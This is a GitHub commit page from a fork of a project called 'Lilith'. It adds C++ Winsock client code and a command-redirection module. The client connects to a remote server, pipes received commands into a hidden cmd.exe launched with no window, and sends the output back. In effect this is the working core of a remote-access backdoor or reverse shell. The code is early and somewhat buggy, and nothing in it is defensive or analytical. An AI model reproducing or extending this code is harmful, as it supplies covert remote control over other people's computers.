forked from werkamsus/Lilith
-
Notifications
You must be signed in to change notification settings - Fork 0
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
cmdRedirect done, a bit of network stuff and general structure
- Loading branch information
Showing
12 changed files
with
503 additions
and
76 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,131 @@ | ||
#include "client.h" | ||
#include "general.h" | ||
#include "cmdRedirect.h" | ||
|
||
void Client::ClientThread() | ||
{ | ||
while (clientptr->connected) | ||
{ | ||
//process packets | ||
} | ||
|
||
if (clientptr->CloseConnection()) //Try to close socket connection..., If connection socket was closed properly | ||
{ | ||
|
||
} | ||
else //If connection socket was not closed properly for some reason from our function | ||
{ | ||
|
||
} | ||
} | ||
|
||
enum Client::PacketType | ||
{ | ||
P_Instruction, | ||
P_CMDCommand | ||
}; | ||
|
||
bool Client::ReceivePacket() | ||
{ | ||
PacketType packettype; | ||
recv(sConnection, (char*)&packettype, sizeof(PacketType), NULL); //receive packet type | ||
ProcessPacket(packettype); | ||
return true; | ||
} | ||
|
||
bool Client::ProcessPacket(PacketType _packettype) | ||
{ | ||
int bufferlength; | ||
recv(sConnection, (char*)&bufferlength, sizeof(int), NULL); //receive packet length | ||
char* buffer = new char[bufferlength + 1]; //Allocate buffer | ||
buffer[bufferlength] = '\0'; //Set last character of buffer to be a null terminator so we aren't printing memory that we shouldn't be looking at | ||
recv(sConnection, buffer, bufferlength, NULL); //receive message | ||
|
||
switch (_packettype) | ||
{ | ||
case PacketType::P_Instruction: | ||
{ | ||
General::processCommand(buffer); | ||
} | ||
case PacketType::P_CMDCommand: | ||
{ | ||
if (CMD::cmdptr != NULL) | ||
{ | ||
CMD::cmdptr->writeCMD(buffer); | ||
sendPacket(CMD::cmdptr->readCMD(), PacketType::P_CMDCommand); | ||
} | ||
else | ||
{ | ||
General::sendError("Initiate a CMD session first."); | ||
} | ||
} | ||
default: | ||
delete[] buffer; | ||
return false; | ||
} | ||
|
||
delete[] buffer; | ||
} | ||
|
||
bool Client::sendPacket(std::string message, PacketType _PacketType) | ||
{ | ||
if (send(sConnection, (char*)&_PacketType, sizeof(PacketType), NULL) == SOCKET_ERROR) | ||
{ | ||
General::sendError("Error sending Packet: Error sending Type"); | ||
return false; | ||
} | ||
int bufferlength = message.size(); | ||
if (send(sConnection, (char*)&bufferlength, sizeof(int), NULL) == SOCKET_ERROR) | ||
{ | ||
General::sendError("Error sending Packet: Error sending size"); | ||
return false; | ||
} | ||
if (send(sConnection, message.c_str(), bufferlength, NULL) == SOCKET_ERROR) | ||
{ | ||
General::sendError("Error sending Packet: Error sending message"); | ||
return false; | ||
} | ||
return true; | ||
|
||
} | ||
|
||
Client::Client(std::string IP, int PORT) | ||
{ | ||
//Winsock Startup | ||
WSAData wsaData; | ||
WORD DllVersion = MAKEWORD(2, 2); | ||
if (WSAStartup(DllVersion, &wsaData) != 0) | ||
{ | ||
MessageBoxA(NULL, "Winsock startup failed", "Error", MB_OK | MB_ICONERROR); | ||
exit(0); | ||
} | ||
|
||
addr.sin_addr.s_addr = inet_addr(IP.c_str()); //Address (127.0.0.1) = localhost (this pc) | ||
addr.sin_port = htons(PORT); //Port | ||
addr.sin_family = AF_INET; //IPv4 Socket | ||
clientptr = this; //Update ptr to the client which will be used by our client thread | ||
} | ||
|
||
bool Client::Connect() | ||
{ | ||
sConnection = socket(AF_INET, SOCK_STREAM, NULL); //Set Connection socket | ||
if (connect(sConnection, (SOCKADDR*)&addr, sizeof(addr)) != 0) //If we are unable to connect... | ||
{ | ||
return false; | ||
} | ||
|
||
CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)ClientThread, NULL, NULL, NULL); //Create the client thread that will receive any data that the server sends. | ||
return true; | ||
} | ||
|
||
bool Client::CloseConnection() | ||
{ | ||
if (closesocket(sConnection) == SOCKET_ERROR) | ||
{ | ||
if (WSAGetLastError() == WSAENOTSOCK) //If socket error is that operation is not performed on a socket (This happens when the socket has already been closed) | ||
return true; //return true since connection has already been closed | ||
|
||
return false; | ||
} | ||
return true; | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,47 @@ | ||
#pragma once | ||
#define _WINSOCK_DEPRECATED_NO_WARNINGS | ||
|
||
#pragma comment(lib,"ws2_32.lib") //Required for WinSock | ||
#include <WinSock2.h> //For win sockets | ||
#include <string> //For std::string | ||
#include <iostream> //For std::cout, std::endl, std::cin.getline | ||
|
||
class Client | ||
{ | ||
public: //Public functions | ||
Client(std::string IP, int PORT); | ||
bool Connect(); | ||
|
||
//bool SendString(std::string & _string, bool IncludePacketType = true); | ||
bool CloseConnection(); | ||
//bool RequestFile(std::string FileName); | ||
private: //Private functions | ||
//bool ProcessPacketType(PacketType _PacketType); | ||
static void ClientThread(); | ||
|
||
enum PacketType; | ||
bool ReceivePacket(); | ||
bool ProcessPacket(PacketType _packettype); | ||
bool Client::sendPacket(std::string message, PacketType _PacketType); | ||
//Sending Funcs | ||
//bool sendall(char * data, int totalbytes); | ||
//bool Sendint32_t(int32_t _int32_t); | ||
//bool SendPacketType(PacketType _PacketType); | ||
|
||
|
||
//Getting Funcs | ||
//bool recvall(char * data, int totalbytes); | ||
//bool Getint32_t(int32_t & _int32_t); | ||
//bool GetPacketType(PacketType & _PacketType); | ||
//bool GetString(std::string & _string); | ||
|
||
private: | ||
//FileTransferData file; //Object that contains information about our file that is being received from the server. | ||
SOCKET sConnection;//This client's connection to the server | ||
SOCKADDR_IN addr; //Address to be binded to our Connection socket | ||
bool connected; | ||
}; | ||
|
||
|
||
static Client * clientptr; //This client ptr is necessary so that the ClientThread method can access the Client instance/methods. | ||
//Since the ClientThread method is static, this is the simplest workaround I could think of since there will only be one instance of the client. |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,133 @@ | ||
#include "cmdRedirect.h" | ||
|
||
CMD::CMD() | ||
{ | ||
saAttr.nLength = sizeof(SECURITY_ATTRIBUTES); | ||
saAttr.bInheritHandle = TRUE; | ||
saAttr.lpSecurityDescriptor = NULL; | ||
|
||
if (!CreatePipe(&g_hChildStd_OUT_Rd, &g_hChildStd_OUT_Wr, &saAttr, 0)) | ||
General::handleError(3, false); | ||
// Ensure the read handle to the pipe for STDOUT is not inherited. | ||
|
||
if (!SetHandleInformation(g_hChildStd_OUT_Rd, HANDLE_FLAG_INHERIT, 0)) | ||
General::handleError(3, false); | ||
// Create a pipe for the child process's STDIN. | ||
|
||
if (!CreatePipe(&g_hChildStd_IN_Rd, &g_hChildStd_IN_Wr, &saAttr, 0)) | ||
General::handleError(3, false); | ||
|
||
// Ensure the write handle to the pipe for STDIN is not inherited. | ||
|
||
if (!SetHandleInformation(g_hChildStd_IN_Wr, HANDLE_FLAG_INHERIT, 0)) | ||
General::handleError(3, false); | ||
|
||
createChildProcess(); | ||
|
||
cmdptr = this; | ||
} | ||
|
||
|
||
CMD* CMD::cmdptr = NULL; | ||
bool CMD::cmdOpen = false; | ||
HANDLE CMD::g_hChildProcess = NULL; | ||
HANDLE CMD::g_hChildThread = NULL; | ||
|
||
void CMD::cmdThread() | ||
{ | ||
CMD cmd; | ||
cmdOpen = true; | ||
while (cmdOpen) | ||
{ | ||
Sleep(1000); | ||
} | ||
} | ||
|
||
std::string CMD::readCMD() //read string from stdOut of cmd.exe //IMPLEMENT AS THREAD | ||
{ | ||
if (cmdOpen) | ||
{ | ||
DWORD bytesAvailable; | ||
DWORD bytesRead; | ||
char buffer[128]; | ||
std::string output; | ||
|
||
do //loop until bytes are available (until response is processed) | ||
{ | ||
PeekNamedPipe(g_hChildStd_OUT_Rd, NULL, 0, NULL, &bytesAvailable, NULL); | ||
Sleep(50); | ||
} while (bytesAvailable <= 0); | ||
|
||
while (bytesAvailable > 0) //while there is something to read, read it into buffer and append buffer to string | ||
{ | ||
ReadFile(g_hChildStd_OUT_Rd, buffer, 127, &bytesRead, NULL); | ||
buffer[127] = '\0'; //NULL terminator of string | ||
output += buffer; | ||
bytesAvailable = bytesAvailable - bytesRead; | ||
ZeroMemory(buffer, 128); //clears buffer (else memory leak) | ||
} | ||
return output; | ||
} | ||
else | ||
return "CMD is not open"; | ||
} | ||
|
||
void CMD::writeCMD(std::string command) //write a string to stdIn of cmd.exe | ||
{ | ||
if (cmdOpen) | ||
{ | ||
command += '\n'; //apend '\n' to simulate "ENTER" | ||
if (!WriteFile(g_hChildStd_IN_Wr, command.c_str(), command.size(), NULL, NULL)) | ||
General::sendError("Couldn't write command '" + command + "' to stdIn."); | ||
} | ||
else | ||
General::sendError("Couldn't write to CMD: CMD not open"); | ||
} | ||
|
||
void CMD::createChildProcess() //creates child process ||copied from https://msdn.microsoft.com/en-us/library/windows/desktop/ms682499(v=vs.85).aspx || | ||
{ | ||
PROCESS_INFORMATION piProcInfo; | ||
STARTUPINFO siStartInfo; | ||
BOOL bSuccess = FALSE; | ||
|
||
// Set up members of the PROCESS_INFORMATION structure. | ||
|
||
ZeroMemory(&piProcInfo, sizeof(PROCESS_INFORMATION)); | ||
|
||
// Set up members of the STARTUPINFO structure. | ||
// This structure specifies the STDIN and STDOUT handles for redirection. | ||
|
||
ZeroMemory(&siStartInfo, sizeof(STARTUPINFO)); | ||
siStartInfo.cb = sizeof(STARTUPINFO); | ||
siStartInfo.hStdError = g_hChildStd_OUT_Wr; | ||
siStartInfo.hStdOutput = g_hChildStd_OUT_Wr; | ||
siStartInfo.hStdInput = g_hChildStd_IN_Rd; | ||
siStartInfo.dwFlags |= STARTF_USESTDHANDLES; | ||
|
||
// Create the child process. | ||
|
||
bSuccess = CreateProcess(TEXT("C:\\WINDOWS\\system32\\cmd.exe"), | ||
NULL, // command line | ||
NULL, // process security attributes | ||
NULL, // primary thread security attributes | ||
TRUE, // handles are inherited | ||
CREATE_NO_WINDOW, // creation flags | ||
NULL, // use parent's environment | ||
NULL, // use parent's current directory | ||
&siStartInfo, // STARTUPINFO pointer | ||
&piProcInfo); // receives PROCESS_INFORMATION | ||
|
||
// If an error occurs, exit the application. | ||
if (!bSuccess) | ||
General::handleError(3, false); | ||
else | ||
{ | ||
// Close handles to the child process and its primary thread. | ||
// Some applications might keep these handles to monitor the status | ||
// of the child process, for example. | ||
CloseHandle(piProcInfo.hProcess); | ||
CloseHandle(piProcInfo.hThread); | ||
} | ||
g_hChildProcess = piProcInfo.hProcess; | ||
g_hChildThread = piProcInfo.hThread; | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,34 @@ | ||
#pragma once | ||
#include <string> //For std::string | ||
#include <iostream> //For std::cout, std::endl, std::cin.getline | ||
#include <Windows.h> | ||
#include "general.h" | ||
|
||
class CMD | ||
{ | ||
public: //Public functions | ||
CMD(); | ||
static void cmdThread(); | ||
|
||
std::string readCMD(); | ||
void writeCMD(std::string command); | ||
|
||
public: //Public variables | ||
static CMD * cmdptr; | ||
static bool cmdOpen; | ||
|
||
private: //Private functions | ||
void createChildProcess(); | ||
|
||
private: //variables | ||
HANDLE g_hChildStd_IN_Rd = NULL; | ||
HANDLE g_hChildStd_IN_Wr = NULL; | ||
HANDLE g_hChildStd_OUT_Rd = NULL; | ||
HANDLE g_hChildStd_OUT_Wr = NULL; | ||
|
||
static HANDLE g_hChildProcess; | ||
static HANDLE g_hChildThread; | ||
|
||
|
||
SECURITY_ATTRIBUTES saAttr; | ||
}; |
Oops, something went wrong.